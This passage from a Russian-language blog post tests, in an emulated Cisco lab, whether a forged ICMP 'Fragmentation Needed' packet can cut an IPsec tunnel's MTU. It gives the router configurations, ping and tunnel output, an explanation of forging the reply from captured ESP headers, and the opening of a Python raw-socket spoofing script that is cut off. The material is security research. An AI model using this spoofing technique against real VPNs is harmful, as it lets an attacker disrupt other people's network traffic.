{"id":362241,"date":"2024-05-21T01:30:51","date_gmt":"2024-05-21T01:30:51","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=362241"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2024-05-21T01:30:51","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=362241","title":{"rendered":"<span>IPsec &amp; path MTU discovery: \u0444\u0438\u0447\u0430 \u0430\u043b\u0438 \u0431\u0430\u0433?<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>IPsec \u2013 \u044d\u0442\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044f VPN \u0442\u0443\u043d\u043d\u0435\u043b\u0435\u0439 \u043c\u0435\u0436\u0434\u0443 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430\u043c\u0438. Path MTU discovery (PMTUD) \u2013 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0445\u043e\u0441\u0442\u0430\u043c \u0438 \u0443\u0437\u043b\u0430\u043c VPN \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 MTU \u0432\u0434\u043e\u043b\u044c \u043f\u0443\u0442\u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441 \u0440\u0435\u0430\u043b\u0438\u044f\u043c\u0438 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0434\u0432\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u043a\u0435? \u0411\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e, Cisco \u0434\u0430\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 <a href=\"https:\/\/www.cisco.com\/c\/en\/us\/support\/docs\/ip\/generic-routing-encapsulation-gre\/25885-pmtud-ipfrag.html#toc-hId-1150940493\" rel=\"noopener noreferrer nofollow\">\u0437\u0430\u043c\u0435\u0442\u043a\u0443<\/a>, \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u043e \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0442\u043e\u043c, \u0441\u0442\u043e\u0438\u0442 \u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438 \u0434\u0432\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u043a\u0435, \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043a\u0430\u0436\u0443\u0449\u0443\u044e\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u0443.<\/p>\n<p>IPsec VPN, \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u0441\u0432\u044f\u0437\u0438. \u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0442\u0443\u043d\u043d\u0435\u043b\u044c \u043f\u0440\u043e\u043b\u0435\u0433\u0430\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442, \u043e\u043d \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0441\u0442\u043e\u044f\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044e \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0444\u043e\u0440\u043c\u0435: \u0446\u0435\u043d\u0430 \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432\u044b\u0448\u0435 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. \u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b PMTUD \u043f\u043e\u0432\u0435\u0440\u0445 IPsec, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c \u0437\u0430\u043d\u044f\u0442\u043d\u0443\u044e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u2013 \u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u0432\u043b\u0438\u044f\u044e\u0449\u0435\u0435 \u043d\u0430 \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c (\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0434\u043b\u044f IPsec \u0442\u0443\u043d\u043d\u0435\u043b\u044f), \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043d\u0430 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f (ICMP fragmentation needed \u043e\u0442\u043a\u0443\u0434\u0430-\u0442\u043e \u0438\u0437 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0439 \u0441\u0435\u0442\u0438). \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0442\u0430\u043a\u043e\u0439 ICMP \u043f\u0430\u043a\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043d\u0438\u0437\u0438\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0434\u043b\u044f IPsec \u0442\u0443\u043d\u043d\u0435\u043b\u044f \u0434\u043e \u043d\u0435\u043f\u0440\u0438\u0435\u043c\u043b\u0435\u043c\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f?<\/p>\n<p>\u041d\u0438\u0436\u0435 \u0441\u0445\u0435\u043c\u0430 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/331\/59c\/3a0\/33159c3a04de8e0bfa51d8063dbf34c9.png\" width=\"768\" height=\"552\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/331\/59c\/3a0\/33159c3a04de8e0bfa51d8063dbf34c9.png\"\/><\/figure>\n<p>\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0434\u043b\u044f \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u043e\u0432 \u043e\u0431\u0440\u0430\u0437 IOS \u2013 15.2(4)M11 (\u0448\u0430\u0441\u0441\u0438 Cisco 7200). \u0418\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f VPN4 \u2013 \u044d\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u0441\u0432\u0435\u0436\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 CSR1000v \u0441 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 IOS XE 16.9.3 \u2013 \u043d\u0430 \u043d\u0435\u0433\u043e-\u0442\u043e \u043c\u044b \u0438 \u0431\u0443\u0434\u0435\u043c \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e. Attacker \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u043a\u043e\u0439 \u0441 Ubuntu, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0441\u0432\u043e\u0438 \u0433\u0440\u044f\u0437\u043d\u044b\u0445 \u0434\u0435\u043b\u0438\u0448\u0435\u043a. \u041d\u0430 \u043e\u0431\u043e\u0438\u0445 \u0443\u0437\u043b\u0430\u0445 VPN \u0430\u043a\u0442\u0438\u0432\u0435\u043d PMTUD; MTU \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435 \u043c\u0435\u0436\u0434\u0443 VPN2 \u0438 ISP \u2013 \u0442\u0430\u043a \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 PMTUD \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043d\u0430\u0447\u043d\u0451\u043c \u0447\u0442\u043e-\u043b\u0438\u0431\u043e \u043f\u043e\u0440\u0442\u0438\u0442\u044c. \u041d\u0438\u0436\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u0443\u0437\u043b\u043e\u0432:<\/p>\n<pre><code>H1#show run | section router|interface interface Loopback0  ip address 1.1.1.1 255.255.255.255 interface FastEthernet0\/0  ip address 192.168.12.1 255.255.255.0 router ospf 1  network 0.0.0.0 255.255.255.255 area 0<\/code><\/pre>\n<pre><code>VPN2#show run | section router|ip route|crypto|interface crypto isakmp policy 10  authentication pre-share crypto isakmp key cisco address 0.0.0.0         crypto ipsec transform-set SET esp-aes   mode tunnel crypto ipsec profile PROFILE  set transform-set SET  interface Loopback0  ip address 2.2.2.2 255.255.255.255 interface Tunnel0  ip address 192.168.24.2 255.255.255.0  ip ospf mtu-ignore  tunnel source FastEthernet0\/1  tunnel mode ipsec ipv4  tunnel destination 192.168.34.4  tunnel path-mtu-discovery  tunnel protection ipsec profile PROFILE interface FastEthernet0\/0  ip address 192.168.12.2 255.255.255.0 interface FastEthernet0\/1  ip address 192.168.23.2 255.255.255.0  ip mtu 1400  ip ospf shutdown router ospf 1  network 0.0.0.0 255.255.255.255 area 0 ip route 192.168.34.4 255.255.255.255 192.168.23.3<\/code><\/pre>\n<pre><code>ISP#show run | section interface           interface Loopback0  ip address 3.3.3.3 255.255.255.255 interface FastEthernet0\/0  ip address 192.168.100.3 255.255.255.0 interface FastEthernet0\/1  ip address 192.168.23.3 255.255.255.0  ip mtu 1400 interface FastEthernet1\/0  ip address 192.168.34.3 255.255.255.0<\/code><\/pre>\n<pre><code>VPN4#show run | section router|ip route|interface|crypto crypto isakmp policy 10  authentication pre-share crypto isakmp key cisco address 0.0.0.0         crypto ipsec transform-set SET esp-aes   mode tunnel crypto ipsec profile PROFILE  set transform-set SET  interface Loopback0  ip address 4.4.4.4 255.255.255.255 interface Tunnel0  ip address 192.168.24.4 255.255.255.0  ip ospf mtu-ignore  tunnel source GigabitEthernet2  tunnel mode ipsec ipv4  tunnel destination 192.168.23.2  tunnel path-mtu-discovery  tunnel protection ipsec profile PROFILE interface GigabitEthernet1  ip address 192.168.45.4 255.255.255.0 interface GigabitEthernet2  ip address 192.168.34.4 255.255.255.0  ip ospf shutdown router ospf 1  network 0.0.0.0 255.255.255.255 area 0 ip route 192.168.23.2 255.255.255.255 192.168.34.3<\/code><\/pre>\n<pre><code>H5#show run | section router|interface interface Loopback0  ip address 5.5.5.5 255.255.255.255 interface FastEthernet0\/0  ip address 192.168.45.5 255.255.255.0 router ospf 1  network 0.0.0.0 255.255.255.255 area 0<\/code><\/pre>\n<pre><code class=\"bash\">root@Attacker# tunctl -t tap0 root@Attacker# ifconfig tap0 192.168.100.10\/24 up root@Attacker# ip route add 192.168.34.0\/24 via 192.168.100.3<\/code><\/pre>\n<p>\u0417\u0430\u0447\u0435\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f <em>ip ospf mtu-ignore <\/em>\u043d\u0430 \u0442\u0443\u043d\u043d\u0435\u043b\u0435? PMTUD \u2013 \u0444\u0438\u0447\u0430 \u043e\u0434\u043d\u043e\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u0435\u043d \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439: \u043e\u0434\u0438\u043d \u0438\u0437 \u0443\u0437\u043b\u043e\u0432 VPN \u0443\u0436\u0435 \u0441\u043d\u0438\u0437\u0438\u043b \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0434\u0440\u0443\u0433\u043e\u043c\u0443 \u0443\u0437\u043b\u0443 \u0435\u0449\u0451 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442 \u043f\u043e\u0437\u043d\u0430\u0442\u044c \u044d\u0442\u0443 \u0440\u0430\u0434\u043e\u0441\u0442\u044c. \u0415\u0441\u043b\u0438 \u0432 \u044d\u0442\u043e\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u0441\u043e\u0441\u0435\u0434\u0441\u0442\u0432\u043e OSPF, \u0442\u043e \u043e\u043d\u043e, \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f MTU \u0432 DBD \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445.<\/p>\n<p>\u041f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c, \u043a\u0430\u043a \u0438\u0437\u0434\u0435\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430\u0434 VPN4, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043c\u0435\u0436\u0434\u0443 ISP \u0438 VPN4 \u2013 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0448\u0430 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u043a\u043e\u043c; \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e ICMP \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f. PMTUD \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0430\u043a\u0435\u0442\u044b \u0441 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0431\u0438\u0442\u043e\u043c DF:<\/p>\n<pre><code>H5#ping 1.1.1.1 source 5.5.5.5 size 1400 df-bit  Type escape sequence to abort. Sending 5, 1400-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds: Packet sent with a source address of 5.5.5.5  Packet sent with the DF bit set .M.M. Success rate is 0 percent (0\/5) H5# H5#ping 1.1.1.1 source 5.5.5.5 size 1300 df-bit  Type escape sequence to abort. Sending 5, 1300-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds: Packet sent with a source address of 5.5.5.5  Packet sent with the DF bit set !!!!! Success rate is 100 percent (5\/5), round-trip min\/avg\/max = 40\/46\/52 ms<\/code><\/pre>\n<pre><code>VPN4#show interface tunnel 0 Tunnel0 is up, line protocol is up  &lt;output omitted>   Tunnel protocol\/transport IPSEC\/IP   Tunnel TTL 255   Path MTU Discovery, ager 10 mins, min MTU 92, MTU 1342, expires 00:09:28   Tunnel transport MTU 1442 bytes   Tunnel transmit bandwidth 8000 (kbps)   Tunnel receive bandwidth 8000 (kbps)   Tunnel protection via IPSec (profile \"PROFILE\") &lt;output omitted><\/code><\/pre>\n<p>\u041d\u043e\u0432\u043e\u0441\u0442\u044c \u0445\u043e\u0440\u043e\u0448\u0430\u044f \u2013 PMTUD \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: MTU \u043d\u0430 \u0442\u0443\u043d\u043d\u0435\u043b\u0435 \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u043b\u0441\u044f \u0438 \u0441\u0442\u0430\u043b \u0440\u0430\u0432\u0435\u043d 1342 \u0431\u0430\u0439\u0442\u0430\u043c. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0435\u0441\u0442\u044c \u043e\u0434\u0438\u043d \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0439 \u043d\u044e\u0430\u043d\u0441 \u2013 \u044d\u0442\u043e \u0441\u0447\u0430\u0441\u0442\u044c\u0435 <a href=\"https:\/\/www.cisco.com\/c\/en\/us\/support\/docs\/ip\/generic-routing-encapsulation-gre\/25885-pmtud-ipfrag.html#toc-hId-1166775528\" rel=\"noopener noreferrer nofollow\">\u043d\u0435\u043b\u044c\u0437\u044f \u0443\u0432\u0438\u0434\u0435\u0442\u044c<\/a> \u043d\u0430 \u0441\u0442\u0430\u0440\u044b\u0445 IOS:<\/p>\n<blockquote>\n<p><strong><em>Note:<\/em><\/strong><em> This change in value is stored internally and cannot be seen in the output of the <\/em><strong><em>show ip interface tunnel&lt;#> <\/em><\/strong><em>command. You only see this change if you turn use the <\/em><strong><em>debug tunnel<\/em><\/strong><em> command.<\/em><\/p>\n<p><em>\u0412\u043e\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434<\/em><\/p>\n<p><strong><em>\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435: <\/em><\/strong><em>\u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043e \u0432 \u0432\u044b\u0432\u043e\u0434\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b <\/em><strong><em>show ip interface tunnel&lt;#>. <\/em><\/strong><em>\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u2013 \u044d\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u043e <\/em><strong><em>debug tunnel.<\/em><\/strong><\/p>\n<\/blockquote>\n<p>\u0417\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e ICMP Fragmentation Needed \u043d\u0435\u0441\u0451\u0442 \u0447\u0430\u0441\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u0430, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0433\u043e MTU. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e ICMP \u043e\u0442\u0432\u0435\u0442\u0430:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/61d\/a1c\/344\/61da1c34403d12fbc7139319d158d563.png\" width=\"1656\" height=\"740\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/61d\/a1c\/344\/61da1c34403d12fbc7139319d158d563.png\"\/><\/figure>\n<p>ICMP \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0447\u0430\u0441\u0442\u044c ESP \u2013 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438, \u2013 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c ESP \u043f\u0430\u043a\u0435\u0442\u044b, \u043d\u0430 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0435 \u0443\u0433\u0430\u0434\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f SPI \u0438 Sequence, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438\u00a0 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c ICMP \u043e\u0442\u0432\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c. \u041d\u0430\u0448\u0430 \u0436\u0435 \u0437\u0430\u0434\u0430\u0447\u0430 \u0435\u0449\u0451 \u043f\u0440\u043e\u0449\u0435: \u043d\u0430\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c VPN4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0434\u043b\u044f \u0442\u0443\u043d\u043d\u0435\u043b\u044f. \u0425\u043e\u0440\u043e\u0448\u0438\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440 \u2013 \u043b\u0435\u043d\u0438\u0432\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u043f\u0430\u043a\u0435\u0442 \u043f\u0440\u044f\u043c\u043e \u0438\u0437 Wireshark, \u043d\u0435\u043c\u043d\u043e\u0433\u043e <a href=\"https:\/\/inc0x0.com\/tcp-ip-packets-introduction\/tcp-ip-packets-3-manually-create-and-send-raw-tcp-ip-packets\/\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u0434\u043f\u0440\u0430\u0432\u0438\u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f<\/a>:<\/p>\n<pre><code class=\"python\">import socket  s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)  packet = bytearray(\\ b\"\\x0c\\x11\\x72\\x9e\\x00\\x01\\xca\\x03\\x3c\\xde\\x00\\x1c\\x08\\x00\\x45\\x00\" \\ 